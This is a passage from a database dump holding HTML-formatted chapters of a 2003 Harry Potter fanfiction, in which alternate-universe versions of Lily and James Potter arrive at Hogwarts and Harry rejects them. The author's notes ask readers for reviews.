Beans.&#8221; Nothing happened. &#8220;Liquorice wands.&#8221; Nothing. &#8220;Er&#8230; sherbet lemon?&#8221; Nothing. &#8220;Damn&#8230;Blood Pops? Cockroach Clusters? Er&#8230;come on...what is it&#8230; Canary Creams?&#8221; And the door opened.</p>\n\n<p>Harry&#8217;s eyes widened. He wondered how Dumbledore had found out about Canary Creams, but decided not to worry about it. He had more important things on his mind. <i>I hope that the Death Eaters haven&#8217;t done anything yet; I bet they were the ones who knocked me out.</i> He took the stairs three at a time, throwing open the doors to Dumbledore&#8217;s office. &#8220;Professor! Watch out for the Death Eaters!&#8221;</p>\n\n<p>And then Harry looked around the room. Professor Dumbledore was behind his desk, the Lily Potter look-alike was sitting in a chair, the James Potter look-alike next to her and Professor Snape was standing, facing the two. &#8220;Oh&#8230;sorry Professor.&#8221;</p>\n\n<p>&#8220;No harm done, Harry. I assume you&#8217;d like an explanation?&#8221; Professor Dumbledore looked at Harry, his eyes graver than usual. &#8220;We have a bit of a problem and-&#8221;</p>\n\n<p>&#8220;Sorry Professor, but why are two <i>Death Eaters</i> here?&#8221; Harry interrupted, throwing a glance in the look-alikes&#8217; direction.</p>\n\n<p>&#8220;Ahh&#8230;that is what I&#8217;d like to talk to you about. Harry, meet Lily and James Potter, two old friends and two of the best Aurors there ever were.&#8221;</p>\n\n<p>Harry&#8217;s eyes widened. There was no way that they could be his parents. They just <i>couldn&#8217;t</i> be. &#8220;But, Professor, they <i>have</i> to be Death Eaters. My parents died almost fourteen years ago&#8230;and it&#8217;s impossible to bring someone back to life.&#8221; He refused to look at the woman and man.</p>\n\n<p>&#8220;I- Harry, I swear to God that we aren&#8217;t Death Eaters, and I&#8217;m sorry for the shock we gave you last night. Just, please, <i>trust</i> me. We don&#8217;t want to hurt you, we want to get to <i>know</i> you.&#8221; The woman stood up, and Harry noticed that her clothes had been changed. He also noticed that she looked tired and had a face that looked her thirty-four years. If she really <i>was</i> Lily Potter, for that matter.</p>\n\n<p>The fact was, Harry had no idea who to trust. If they really <i>were</i> his parents, Lily and James Potter, then how did they come back to life? He remembered Hermione mentioning once that it was impossible to bring the dead back to life. And though he had always wished to be able to meet his parents, he knew he would never be able to. They were dead.</p>\n\n<p>&#8220;I-I don&#8217;t understand.&#8221; Harry hung his head, not knowing what to do. It was so -absurd- that his parents were standing there in front of him. And then he realised what he had just thought. His <i>parents</i>. There seemed no doubt in his mind that his parents really <i>were</i> back from the dead. If only&#8230;if only he could know for sure, know for how long, know <i>why</i>. &#8220;How can my parents be back from the dead?&#8221;</p>\n\n<p>For the first time in his memory, Harry realised, he had his parents standing in the same room with him, alive and well. He know could find out what a real family was like, he wouldn&#8217;t have to stay with the Dursleys, Sirius could be cleared! He realised that he was <i>happy</i>. Happy and content and had such a warm good feeling in side of him, a feeling that almost overwhelmed him. His parents were <i>ali</i>- &#8220;They aren&#8217;t back from the dead, Harry.&#8221; Professor Dumbledore said, his voice grave. </p>\n\n<p>And suddenly the wondrous feelings of family were gone in an instant. His parents were <i>dead</i>. And there was no way of getting them back. He felt so heavy on in the inside, as if he were weighed down with tons of bricks. It was such an awful feeling, one of getting your hopes up and then having them come crashing on the floor beside you. It was a feeling of hopelessness, a feeling of defeat. &#8220;Wha-what? Professor, you just said-&#8221;</p>\n\n<p>&#8220;The Headmaster never said that they were brought back from the dead, Potter.&#8221; All heads in the room swirled towards Snape, as Harry had forgotten he was even there. </p>\n\n<p>&#8220;That&#8217;s correct, Severus. Harry, Lily and James here, well, they come from an alternate <i>Universe</i>. A world quite similar, but quite different to our own. For instance, in their world, <i>you</i> did<i>\n\n</i>not survive the attack, but they did. And from what limited information I have heard, their world is also a bit <i>darker</i>, if to use the word. Lily? James?&#8221;</p>\n\n<p>The man spoke up, agreeing, telling slowly of how the Death Eaters had never stopped, how though Voldemort had been gone for years, the terror had lived on. How Voldemort had come back to life four years before, and was at the height of his power, how only Hogwarts was considered safe at times, where children were constantly watched. How most people were at a lost, since the small child who had destroyed Voldemort was dead as well, the only hope they had had.</p>\n\n<p>But Harry wasn&#8217;t hearing the man. He had no wish to. For his mind was concentrating on what Professor Dumbledore had said- that Lily and James Potter had come from another Universe, where their Harry was dead. A world where they had <i>had</i> a Harry Potter, and had loved him dearly. But they hadn&#8217;t loved <i>Harry</i>; they had loved their own Harry. These people may have been Lily and James Potter, but they would <i>never</i> be Harry&#8217;s parents. His parents had been dead for fourteen years, and would continue to rest. They were forever gone, out of reach. And Harry was <i>not</i> going to allow to strangers to treat him as their own <i>dead</i> child.</p>\n\n<p>&#8220;Lily and James Potter are <i>not</i> my parents.&#8221; He announced, his voice shaking. &#8220;My parents may have been Lily and James Potter, but my <i>parents</i> are dead. They have been dead close to fourteen years now. And nothing will bring them back. Therefore, I am no relation to these people seated in this room.&#8221; Harry bit his lip to keep from crying, an act he would never let two strangers and his hated potions teacher see. &#8220;I must- I must be going no- now.&#8221; And with that said, he fled from the room, his eyes holding back the tears that threatened to spill, as the one thing that meant so much to him was pushed firmly away from his grasp. </p>\n\n<p>***</p>\n\n<p>\n\n</p>\n\n<p>Do not kill me if you want to read the rest. I&#8217;ll try to update sooner next time, all right? I have the next two chapters done, all they need is to be beta-ed and proof read. And unexplained things in this chapter will of course be later explained.</p>\n\n<p>Am off internet so can&#8217;t read and write responses to reviews.</p>\n\n<p>Please be kind and remember to review.</p>\n\n<p>-Myra 8/17/03</p>\n\n '),
	(137, 6, '<p>Characters not mine, plot is mine.</p><p> </p><p>See? it hasn\'t been so long since last time. I\'m getting better at posting. And read the AN at the end. It has to do with this topic.</p><p> </p><p>***</p><p> </p><p>Chapter 6:Breaking Away</p><p> </p><p>The four adults stood there, almost frozen in time. Albus Dumbledore still wore his grave expression, Professor Severus Snape crossed his arms, looking annoyed, James Potter was just shocked, and Lily Potter fought to hold back tears, an expression of defeat making her look older. James broke the silence.</p> <p>“I’ll go after him, he’s got to-”</p> <p>“No!” Lily shrieked, grabbing a hold of James. “James, don’t.” He voice softened. “Let him be…he-he needs to get used to the situation.”</p> <p>“But-but he just- we can’t let him run off, Lils! He’s our son! We can’t-” James started to leave, but Lily’s grip on his shoulder stopped him. He looked at his wife, her small form almost shaking. “Lil- what’s the matter?” He asked, turning around, embracing her.</p> <p>Lily shook her head. She just couldn’t take it anymore. It was so impossible. “You can’t go after him, James, because he’s <i>right</i>. You’re thinking of him as your son, but he isn’t. We’re his parents, but only in a very removed way. We don’t <i>know</i> what our AUCs were like, James. And our Harry is Harry’s AUC. Not Harry himself. We <i>must</i> keep that in mind.”</p> <p>“But-” James couldn’t believe it. After fourteen years of suffering, Lily was actually giving up a chance to be with Harry.</p> <p>“No buts, Potter. Lily is perfectly correct. Potter, the younger Potter, that is, sees you as perhaps a very distant relation. When that at all. You <i>can’t</i> go running after him like an idiot. It’ll just make him run further and you’ll <i>never</i> get a chance with him. Give him time, and he might accept you somewhat.” Professor Snape leaned in the doorway, his gaze catching James’s. </p> <p>“But can’t we just all be friends? I mean, he’s Harry! He looks so much like me and he’s got to be a trouble maker-” James said, looking at Professor Dumbledore for reconciliation.</p> <p>“No, James. Harry may <i>look </i>like you, but he’s a far throw from what you were like at school.” Dumbledore ignored Severus’s cough. “He has no interest to play jokes, nor does he seek trouble out. Quite the opposite, actually. There hasn’t been a year gone by where something does not happen. But instead in basking in it, as <i>you</i> would, he wishes for it to leave him alone.” Dumbledore sighed, shaking his head. “James, you must <i>observe</i> Harry, if you wish to know anything. I do not know what Harry would have been like, raised in your care, but, I can assure you that at this moment, you can not confuse Harry with your younger self.”</p> <p>James glanced around the room, trying to find any sign of compassion in the others’ faces, but he found none. “Well, if <i>I</i> can’t go out and get Harry, then someone should.” He sighed and sat down. “There go my plans of teaching Harry all these great pranks and tricks.”</p> <p>Lily sighed, sitting down in James’s lap. “Don’t give up, James, just give him time. You’re a very optimistic person, and Harry isn’t. You’re very fun loving and open, and Harry seems to prefer quiet times and seems to keep everything to himself. But you both act with out thinking,” Lily ended, her mind replaying the ‘Death Eater’ scene and she almost let out a small smile. “There are similarities in both of you, you just need to let time run its course.”</p> <p>“Quite right, Lily. Now, to Harry running off…someone <i>does</i> need to go after him. And since James and Lily can not do it, I suggest Severus?” The headmaster turned to the potions professor. “Someone must go after him, and since he knows you…”</p> <p>“He’ll probably jump off a cliff.” Severus answered, turning to go out the door. “But if you insist, Headmaster.” He stepped down a step, before someone else called him.</p> <p>“Please, Severus, find Harry and bring him back. I don’t want to lose another son, due to me.” Lily said, but before Severus could turn and ask what she meant, the office door swung shut, and he found himself out in a deserted hallway.</p> <p>***</p> <p>Harry traipsed through the underbrush, flinging branches out of his way. Now, he <i>knew</i> that the Forbidden Forest lived up to its name, but at the moment, he didn’t give a damn. It was one place no one would think of to look for him and that’s exactly what he wanted.</p> <p>The Forest was dark, even though it was mid-morning and sounds of animals were heard in the distance. Harry sniffed, smelling the scent of the Polyeris Flower, a plant that became alive when looked at and ate its admirer. Harry quickly closed his eyes. He didn’t necessarily feel like being eaten.</p> <p>He continued walking, not caring where he went. He just needed the time to think a bit and cool off. The scene in the Headmaster’s office played through his head repeatedly, each time making him even more annoyed. He hated how Lily and James expected to treat him as their own son. He wasn’t <i>their</i> son.</p> <p>His parents were dead, and he resented Lily and James for giving him so much hope. He knew that they had lost their son, and though he was also Harry Potter, he did not belong to them. He had had one wish, his entire life long, to finally be able to meet his parents. But he never thought that Fate would play such a cruel game on him, bringing his hope so high up-and letting them fall to the earth. It hurt and he hated Lily and James for that.</p> <p>From what Harry had heard James explain about their world, it seemed to be depressing. A world where there was <i>literally</i> no help left. And Harry also sensed that James was keeping many details to himself. There was just the way James’s voice rose and hurried through certain parts. The way Lily was so <i>clingy</i>. The way James wrapped his arms around her as if he didn’t ever want to let her go. And Harry admitted to feeling a little bit sorry for them. But not much.</p> <p>They had wasted their time coming here was one of Harry’s primary thoughts. Maybe they wanted to find a world where everything was peaceful. Harry snorted at that. In a world where Voldemort had risen, nothing was peaceful. And if they wanted to take Harry back with them, or to stay here with him, well, there had also been no point.</p> <p>Lost in his thoughts, Harry failed to realise that he was also lost in the forest. Walking further into the forest, Harry suddenly noticed how quiet everything had become. He froze in place, swirling around and noticed that his path was gone. He groaned. <i>Wonderful. I’m lost in the *Forbidden* Forest, without my wand and *no* one knows where I went. Today’s such a *wonderful* day.</i> He sighed and continued on, trying to keep some semblance of going in the same direction. Unfortunately, his try was futile, as he became even more lost.</p> <p>He finally decided to stop and looked around, getting his bearings. That was, until he heard a voice. <b>Help me! Please someone help me!</b> Harry turned around, searching frantically for the voice’s origin. <i>This doesn’t seem to be a good sign…</i> </p> <p>“Who- who are you?” He asked, trying to keep the shakiness out of his voice. </p> <p>I am Salardeficimonsretunansin. Harry whirled around, finally focusing on a tree to his right, which seemed to be the origin of the voice. He stepped a bit closer.</p> <p>“Er…Salar-what? And what exactly are you?”</p> <p>I am Salardeficimonsretunansin and I am a <i>Verdi-Lila-Noir-Lunar-Stellar-Videri-Snake.</i> <i>Well, that explains why I can understand him.</i> Though Harry had no idea what exactly a Verdi-Lila-Noir-Stellar-Videri-Snake was, it was enough to have the snake part. It meant that they could at least communicate.</p> <p>“<b>Er…can I call you Sal? Where are you exactly?” </b>He stepped even closer to the tree, failing to notice that behind the tree was a very deep cliff.</p> <p>You may call me Sal. I am stuck between two branches. Harry stepped even more closer, failing to hear the faint creaking of the tree. He could see something green and purple and black and decided that it was probably Sal.</p> <p>“I’m coming closer, just wait a sec…” He could almost reach the branch, but since he could not see it then, and he was already a few centimetres too short, he stood on a root, one arm attached to another branch. A snake, undoubtedly Sal, was tied in a knot. No longer than fifty centimetres and no wider than three, Harry was a bit curious as to how the snake had managed to get stuck, but said nothing. He just leaned closer.</p> <p>Can you reach me? The snake’s head faced Harry, looking him in the eyes. Harry nodded.</p> <p>“Yeah, just wait a sec, I need to be a bit higher.” Harry climbed even higher on the root, ignoring the steadily increasing creaking sounds. <b> “Almost there…almost…wait…”</b></p>  <p>Watch out! Harry stared at the snake in surprise as he suddenly felt the tree lurch, finally falling and resting on the very edge of a cliff. He gripped the branch with both hands, his legs dangling about thirty metres in the air as he looked down and quickly looked up again. <i>Oh damn…</i></p>  <p>***</p> <p>“How did you sleep last night?” Arabella Figg hummed a tune on her radio, an old hit from her school days, which happened to be over a hundred years ago. The cat with the spectacle like markings ignored her, curling up in a ball. Arabella frowned. “Oh come, Minnie. It was only a <i>joke.” </i>The cat turned the other direction. Arabella sighed and turned back to her stove.</p> <p>Minerva was most definitely not forgiving Arabella for feeding her mashed cat food last evening, nor placing a litter box in her room, nor fastening a collar around her neck as she slept. It was bad enough to <i>pretend</i> to be a cat, but she certainly didn’t need top be treated as one. Not to mention that infernal cat, who kept trying to sneak in her room to- she didn’t even want to <i>think</i> about that. Therefore she was going to ignore Arabella as best she could, and that involved being a cat. Cats <i>were</i> the best creatures for ignoring people after all. She had loved bothering her brother-in-law with it.</p> <p>“You know, my wards had some pretty odd magic coming from the Dursleys last night, Minnie.” Arabella casually announced. “I was planning on going over there after breakfast.” No reaction. “If we can convince Albus to move Harry to somewhere else, you know you won’t have to be a cat any more.” A slight twitch. “Actually, right after checking on Harry, I was going to go to Hogwarts.” A slight turn of the head. “And I can probably convince Albus that I don’t really need you as a cat anymore.” Standing up. “You won’t have to be a cat for the rest of the summer then.” A woman suddenly stood in the kitchen.</p> <p>“I don’t think I shall <i>ever</i> forgive you, Arabella.” Minerva said, taking her spectacles out of her robe pocket. “It was one of the most <i>demeaning</i> things ever to happen to me.”</p> <p>Arabella sighed. “Oh come, Minnie. Jamie used to pull your tail all the time. Don’t say that isn’t at least a <i>little</i> more demeaning?”</p> <p>“Jamie was <i>three</i> at the time, and younger. He did not <i>understand</i>.” Minerva shook her robes, letting them fall perfectly in place. “Now, come. We’ll check on Harry and then go back to Hogwarts. I can’t <i>tell</i> you how much I want to get back to my Quarters.” She took her wand from the counter and taped her robes, turning them into a muggle dress. “Let’s go.”</p> <p>Arabella waited till she was out of hearing before snickering. “Oh yes, little Jamie didn’t know better. Half the time he was egged on by Brendan, Albus or Anthony, and the other half he either did it himself for fun, or because <i>I</i> told him to.” She shook her head and left, following after Minerva, smiling a sad smile, thinking back on times past. “If only Aurora hadn’t left then, or died. Minnie always was more laid back with her.” </p> <p>***</p> <p>Upon knocking at the Dursleys, Arabella was surprised to see Dudley actually answering the door. Usually Petunia herself or Harry answered the door, but Dudley never did. She figured it was because Dudley couldn’t move from the couch fast enough. “Is your mother at home, Dudley?” She asked sweetly, in a kind-old-lady way.</p> <p>He shrugged. “MUM!” He yelled and shut the door. </p> <p>Minerva turned to Arabella. “What <i>is</i> that?”</p> <p>Arabella sighed. “Dudley Dursley, Harry’s cousin. I’m surprised he answered the door, he usually sits on the couch or on his computer. You can see he doesn’t move very quickly…”</p> <p>“Well, there isn’t any family resemblance between Harry and <i>him</i>. To tell the truth, it’s hard to imagine that Petunia and Lily were sisters. Lily was always so beautiful and-” Minerva was suddenly cut off as the door opened.</p> <p>“Yes?” Petunia answered in her usual nasal voice. Then she noticed the two women. “Mrs Figg, how <i>are</i> you? I hope that the cake tasted well? Come in.” She held the door open.</p> <p>Arabella and Minerva entered. Arabella cleared her throat. “Now, Petunia, I can’t stay long, but I must admit the cake tasted excellent.” She crossed her fingers behind her back. In truth Harry had dropped it when he fainted and the cats had eaten it. “I’ll bring back the pan as soon as I’ve washed it. But what I really wanted was to ask if Harry was here.”</p> <p>Petunia stopped suddenly. Her lips pursed together so that they were almost blue. “He isn’t here.”</p> <p>“May I enquire <i>where</i>?” Minerva spoke up, worried.</p> <p>“I don’t know. There was an odd man there and he brought us back here. Can’t remember much, to tell the truth. Why?” And then she turned to Minerva. “And who is <i>this</i>?”</p> <p>Arabella coughed delicately. “This is Minerva McGonagall…she’s Harry’s great aunt. She mistook my house for yours, Petunia, and I told her I’d bring her over.”</p> <p>Minerva shot Arabella a glare, before smiling huge and fake at Petunia. “Of course…I just received the news of my nephew’s death and decided to visit my great-nephew. Of course, I had warned my sister from marrying a freak like that, but then again my sister was also er…abnormal.” She hurriedly added before Petunia could say anything. Arabella had complained long and hard about the way Petunia treated magic and Minerva decided to use Petunia’s on words on the subject.</p> <p>Petunia’s eyes lit up. “Oh! Are you going to take him away? He’s been an awful burden on us, you know. Taking away food and time from my precious Dudley…”</p> <p>“Er, I’m sorry, Mrs Dursley, but that’s impossible. We’re only related by marriage and in this awful letter talking about m- abnormal things, it mentioned how the boy had to stay with a blood relation. And I don’t really want him anyway. I just arrived from my villa in Spain and travel quite frequently. The boy would just get in the way.” Minerva rung her hands. “But I did <i>so</i> wish to speak to him, he is in the possession of an object belonging to my late sister…” She sniffed, trying to give the appearance of being sad. “That boy just doesn’t deserve a thing, his grandfather tricking my sister into marrying him-”</p> <p>“Now, I understand perfectly. That boy deserves whatever he gets. But I simply don’t know where he is. I think he once called out the name Dumb-bore, or something, but I’m not sure. And that’s all I can remember, certainly some of that <i>abnormality</i>.” Petunia patted Minerva on the back. </p> <p>Minerva nodded, suddenly smiling. “Well thank you so much for your help. I’ll just be going now.” And the two woman left the Dursleys, going next door.</p> <p>***</p> <p>“Hogwarts?” Minerva stood in front of Arabella’s great fireplace. “And I really wish you hadn’t-”</p> <p>“Hadn’t told Petunia Dursley that you were Harry’s great Aunt? She’ll forget it, I’m sure. I highly doubt you were very interesting, the way you went on. Very good acting, by the way.” Arabella rummaged in a cupboard next to the fire place for Floo Powder. “Minnie, don’t worry about Harry. He’ll be fine. And I know you feel some how indebted to Aurora, but Harry’s a strong boy. So was James. And even though James’s father wasn’t- well, let’s not go into that. But he <i>was</i> a powerful wizard and a very strong person.”</p> <p>Minerva sighed, shaking her head as she took a pinch of powder from Arabella’s jar. “Harry-James-Aurora-Anthony-Brendan-’Kenna, they were all strong. And powerful. And all of them, except Harry have fallen. And Harry has a Dark Wizard, one of the most powerful <i>ever</i> after him, and he’s just turned fifteen. I- I can’t <i>help</i> but be worried.” She threw it in the fire and called out ‘Hogwarts’, leaving a worried looking Arabella behind her.</p> <p>“Mins, you have to let McKenna go. She wouldn’t want you to dwell on her.” She called out, even though she knew Minerva wouldn’t hear her. And then she followed her to Hogwarts.</p> <p>***</p> <p> Severus Snape was getting annoyed. The Potter boy wasn’t <i>anywhere</i> in the entire school, and he had been looking for him for hours. He glared, kicking out at Mrs Norris who was slinking behind him. “Damn cat.” Filch appeared as soon as he said that, but seeing the look on the stormy Professor’s face, he decided to leave it. <i>Looks he actually *does* have a brain</i>. He continued on his way, out of the school. It was simple to say that he had <i>no</i> desire at <i>all</i> to look for Harry Potter, but one look at Lily Potter had made him quickly change his mind.</p> <p>Contrary to popular belief, he hadn’t always looked so <i>slimy</i>. But with his favourite class being Potions, the fumes often <i>did</i> get into his hair, which gave him that greasy look. He had also always been pale, due to spending the most time indoors. With a mother and father, both who were famous in their circles for potions making <i>and</i> Dark Arts, he wasn’t outside often. He spent his time in dungeons, making potions, libraries, reading, and in duelling chambers, duelling.</p> <p>As it was, he had very few friends, if one could call them friends at all. Lucius Malfoy-three years ahead of him, but an acquaintance, Evan Rosier, Mairi de Corresè who later married Mikkel Lestrange, another so called <i>friend</i> of his. They all weren’t really friends, really only other people his own age with whom he was supposed to spend time with. His parents’ marriage had been arranged, and Severus wasn’t mistaken that his marriage had been also been arranged. That is, until she had been killed. But even Caelan he had not loved, nor had he felt any connection to her.</p> <p>It had been Lily Evans who, during the first few days of school, made friends with him, even due to opposite houses. It had also been Lily who he had worked with on Potions Assignments, due to the fact she was adept at Potions. It had been Lily who he went to when something wasn’t quite right, when his Mark was hurting, when his so called <i>friends</i> were busy.</p> <p>Lily was not quick to judge, unlike her friends, and since she was muggle born, she was even more open minded. Severus, though he had been raised to oppose ‘Mudbloods’, wasn’t really an activist on the topic. But even still, there was a teensy weensy bit of prejudice on his part-that is, until he met Lily.</p> <p>Lily changed everything about him. He began to care about things, take a stand and even <i>try</i> to spend some time out in the sun, when Lily forced him to. She would talk to him about anything and she was his sole confidant. He had even told her that Raian, his former beloved cousin was the beautiful girl that made Lily’s life, and those of the other non-Slytherin girls, especially the muggle born ones, a living hell.</p> <p>He loved her as a sister, a best friend, someone who would <i>never</i> betray him. He would even give his life for hers, if it came to that. He would do <i>anything</i> for Lily. But then, something happened.</p> <p>Lily and Potter had always been good friends. They were both in the same house, and had hit it off from the start. Severus had always tried to stay out of the way when Lily was with Potter and her other Gryffindor friends. Neither Slytherin House nor Gryffindor House would be pleased to have such a close relationship between two of their students, but Lily and Severus met, still being very good friends.</p> <p>She would always meet him somewhere, usually in the dungeons, or behind a portrait in a hidden room. They would talk about anything. And that was how he found out Lily was in love with James Potter. He liked her too, Severus had recognised, but said nothing. He remembered that day, in the beginning of sixth year, where Lily had told him so much. ‘<i>James is so-so wonderful, Sev, and he-he *kissed* me. Me, Sev, can you believe it? He’s such a good friend of mine, and now *this*. I know I’m in love Sev, I just know it.</i>’</p> <p>He had accepted Lily’s feelings, congratulated her and sent her on her way, while he went to the Forest to think. Though the Forbidden Forest was well, forbidden, he never let that in his way. He would slink in, behind the first trees, and walk down a well worn path to a stone bench that had probably been there since the Founders.</p> <p>Lily was his sister, figuratively speaking, and he hated to let her go. But he also respected her decision, and tried, from then on to be happy when Lily talked about James. Though she did try to keep James out of their talks, when she could. That was another thing he liked Lily for.</p> <p>It had taken him <i>years</i> to get over her death. Her marriage might have been bad in the other world, but Severus knew that James and Lily really <i>did</i> love one another and he didn’t want her to be unhappy. He had been in a bad mood for several weeks, but as Lily said, ’<i>No one can tell if you’re in a bad mood, Sev, except me. Because to everyone else, you’re *always* like this’</i>. How true her statement was. But after her death, he had walked around in a stupor, barely remembering how to do anything. He taught, but only half with his mind, zombie-like reading out ingredients and useful facts of a potion, as well as useful to annoy his students. </p> <p>It hadn’t even occurred to him to ask for Harry Potter until the Halloween of the next year, but the Headmaster had refused. To have Harry in any Death Eater’s care, even a former Death Eater like him, was too dangerous. Not that Severus would do anything, but that either the Ministry, or other Death Eaters would try to take him away. It was decided that Harry stay at his relatives.</p> <p>When Harry came to Hogwarts, Severus expected to see more of his mother in him. Though he had looked like his father when he was younger, he was sure that Harry would be at least a <i>little</i> like his mother. He was utterly wrong.</p> <p>Potter did not only <i>look</i> like James-bloody-Potter, but he <i>acted</i> like him as well. Ron Weasley-another Sirius Black. And Hermione Granger-another, well, if Severus wanted to be frank about it, Granger resembled Lily the most. A good student, top of the year with a quick mind. Muggle born, petite and <i>usually</i> rule abiding, when not in the company of Potter and Weasley.</p> <p>But what had caused Severus the most pain was Potter himself. He did not seem to even <i>care</i> about Lily. He never asked about her, never did <i>anything</i> that showed he had some of her in him. It was <i>Lily’s</i> sacrifice that had saved Potter, and he didn’t seem to care a bit, allowing people to worship like some kind of god. To tell the truth, Severus mused, he didn’t really even know in the first place why Voldemort wanted Potter.</p> <p>As Severus walked on, he did not notice that he had entered the Forest of his childhood. So deep in his thoughts was he, that he did not realise that he had strayed off the path. But Severus kept on thinking. Now, after what Potter did, it seemed like he had <i>no</i> respect for a woman that had given her own life for his. But then, Severus understood, what Harry meant. </p> <p>Conflicting thoughts streamed through his head, trying to be sorted out. Lily had been absolutely right. She <i>was</i> not Harry’s true mother, but her AUC. And what the Headmaster had said…Severus shook his head as he stopped walking, finally realising where he was. <i>Oh damn…</i></p>  <p>***</p> <p>“So, let me get this straight. Harry is connected to Voldemort through his scar, which originated <i>that</i> night. He sees visions when Voldemort attacks or when he is feeling a particular hatred. He’s been kidnapped, almost killed, had to duel Voldemort and got out of there <i>alive</i>? With the body of his school mate? And every year there’s been some maniac out trying to kill him? Professor…” James paced the room. “That- that’s <i>unbelievable</i>. I mean, if that were me, I’d already give up and move to Siberia or somewhere. I- is Harry <i>okay</i>?”</p> <p>Lily looked at James fearfully when he voiced his concerns about Harry’s state. It was hard enough seeing Harry’s physical condition and to have him throw her off as if she meant nothing, but to hear of all the dangers Harry had gone through was awful. She could barely fathom it.</p> <p>“Harry’s fine, James. Though due to a certain reporter by the name of Rita Skeeter he has-” Professor Dumbledore reassured.</p> <p>“Skeeter? <i>That</i> reporter? Oh God, she’s one of the worst reporters at the Daily Prophet. Lies about everything. And she’s writing about Harry?” Lily finally interrupted. James watched her as she frailly stood up. “Poor Harry, she’s one of the worst <i>ever</i>.”</p> <p>“Yes, she <i>has</i> managed to convince some top Ministry Officials like Cornelius Fudge that Harry really <i>is</i> a bit insane. But I’ve badgered Cornelius with so many owls that I suspect he’ll come over, eventually. If not, we’ll just re-instate the order and work by ourselves.” Dumbledore sobered. “But Harry is fine, I am sure. He is tired and his connection with Voldemort makes him weary, but physically, and mentally he is doing well.”</p> <p>James nodded. It was simply <i>amazing</i> to hear about the son he had lost, what he had been through. And though he was a bit disappointed that Harry was not a Marauder, some of his other exploits made up for it. Like going into the Forbidden Forest to look for Acromantulas. He wished he and Sirius had thought of <i>that</i>. “Professor-”</p> <p>“James, please, ever since you were eighteen, I’ve told you to call me Albus. Even before that, even, as a small child, when we’re not in the company of others.”</p> <p>“Er, right, <i>Albus</i>, I was wondering about Sirius and Remus. We know that Sirius was in Azkaban, but what about Remus? And where’s Sirius <i>now</i>?” James’s eyes lit up, hoping to find that Remus was doing well and that he’d be able to see his old friends again. In his world, Remus was in a camp for werewolves, even though he had been an Auror. It didn’t matter <i>who</i> you were for the most of the month, only <i>what</i> you were for a few days in their world. All ’Dark’ creatures were separated in camps, to be watched so that they couldn’t hurt the other people, nor join the Dark Lord. And though James was the Deputy Head Auror, with Lily as his Second and Partner, their word did not mean anything. They were allowed to visit, but nothing more.</p> <p>And Sirius, well, he was fine, for the most part. He had lost Talia and a best friend, but he was alive and free. Again, right under James in the Auror Circle, a group made up of only the most top and elite Aurors, he was a central figure in the War. But it didn’t seem to matter, for Sirius was still unhappy. Almost losing Talia and actually losing Remus made him more well, <i>serious</i>. And though he still <i>did</i> prank James, it wasn’t as much as they had done, before.</p> <p>“Sirius is currently residing with Remus, being that he is still on the run. Remus is fine. I believe I mentioned that he taught during Harry’s Third Year? I believe now he does free-lance work. He still is an Auror, but as Aurors weren’t needed over the last fourteen years, he hasn’t been doing much of that. He is still a werewolf. Sirius is also in good health and hopefully has regained some of his former <i>charm</i> after being orderly cared for. I’m actually expecting them in a day or so to report in.”</p> <p>James’s mood brightened considerably. “That’s great! We can see them…right?” The thought of not being able to see his two best friends was a depressing one indeed. But at Dumbledore’s nod, he grinned. “I can’t wait…”</p> <p>Lily noticed the glint in James’s eye, after being married to him for almost sixteen years, and good friends with him for seven more. “James Anthony Potter, don’t you even <i>think</i>-”</p> <p>“Aw, come on Lils. I got to have <i>some</i> fun here.” He pouted. “I haven’t seen Remus in awhile and you know how Sirius is. Plus won’t it be fun to surprise them? After all, they think I’m dead…” His head was filled of thoughts of pranks and mischief. Lily noticed and shook her head. There was no way she was going to be able to stop James from doing anything. </p> <p>“Oh-fine. But don’t come crawling to me when you get in trouble. And must I also remind you that we’re <i>dead</i>. We can’t be seen by just <i>anyone</i>.” Lily sighed in resign.</p> <p>Dumbledore watched the scene, smiling faintly. It <i>was</i> nice to have James and Lily back. They were always so perfect for one another. Knowing James since before he was born, he had gotten to know Lily just as well. Lily balanced James out and both were intelligent, quick to notice things and overall nice people. If only Harry would get to know them…perhaps not as parents, but as human-beings.</p> <p>But his thoughts were interrupted when the Wards alerted him to someone Flooing in. Suddenly Professor McGonagall appeared, looking a bit mused. “Is Harry here? His Aunt says he’s- oof!”</p> <p>Arabella had come along as well, bumping into Minerva. “Oh, sorry, Minnie. Albus, Harry isn’t here, is he? Petunia said so, but I wasn’t quite sure and- Minnie, what is <i>wrong</i> with you?” She said, noticing that Minerva was staring at something in the office.</p> <p>She looked that direction, her gaze finally falling on two figures, one standing, the other sitting. The woman, who was sitting ,had dark red curly hair and bright green eyes. The man, standing, had black hair standing up in every direction, glasses rimming brown eyes where specks of blue were noticeable. Arabella grabbed onto the mantel to keep from falling. “Li-Lily? Ja-James?”</p> <p>***</p><p> </p><p>AN: All right. I have chapters 7 and 8 finished and I\'m in the middle of wiritng chapter 9. I also have chapters 9 and 10 already planned out. I have decided that since I don\'t have a beta anymore, I can post when I want to. So I\'m going to make a deal with you. Usually I don\'t go by reviews. But I must say that they *do* motivate me to write/post more. So here\'s the deal. I will post each month, unless I get more than twenty reviews a chapter. As soon as I get between 20-25 I will post the next chapter. Otherwise you will be waiting till around October 19th. With that said, I shall leave you now.</p><p> </p><p>-Myra, 9/19/2003</p><p> </p>'),
	(137, 7, ' <p>So I decided to be a nice person and post this chapter two weeks early. And then something called College intervened and so&#8230;er yeah, you had to wait another week. And I&#8217;m gone next weekend, so I couldn&#8217;t have posted it then anyway. I&#8217;ll be back the 25<sup>th</sup> of October and then, depending on how good you are, I&#8217;m going to post the next chapter. But *don&#8217;t* hold me to it! You never know what might happen.</p>\n\n<p></p>\n\n<p>***</p>\n\n<p>Chapter 7: More is Revealed</p>\n\n<p>***</p>\n\n<p></p>\n\n<p>&#8220;Oh my God&#8230;I-&#8221; Minerva was rarely flustered. After fifty years of teaching, she knew almost every thing there was to expect from students and parents. But even <i>she </i>was not prepared to see James and Lily Potter sitting quite alive in the Headmaster&#8217;s office. She felt faint.</p>\n\n<p>Arabella was going through the same thing. Though she had not taught at Hogwarts, as Minerva had, with hundreds of students every year, she had been an Auror for almost one hundred and thirty years. And she had also taught some Auror-students, ones that were especially talented. Like the Potters for instance. So surprise was not something she felt very often. She swallowed. This was just the same, if not worse as Aurora showing up that time. &#8220;James, Lily&#8230;may I ask just what exactly you&#8217;re doing here? Alive?&#8221;</p>\n\n<p>James smiled. &#8220;Bella! How nice to see you!&#8221; He swept her up in a hug. &#8220;How <i>are</i> you doing?&#8221; He set her down. &#8220;You know, I could ask you the same thing. Where we come from, 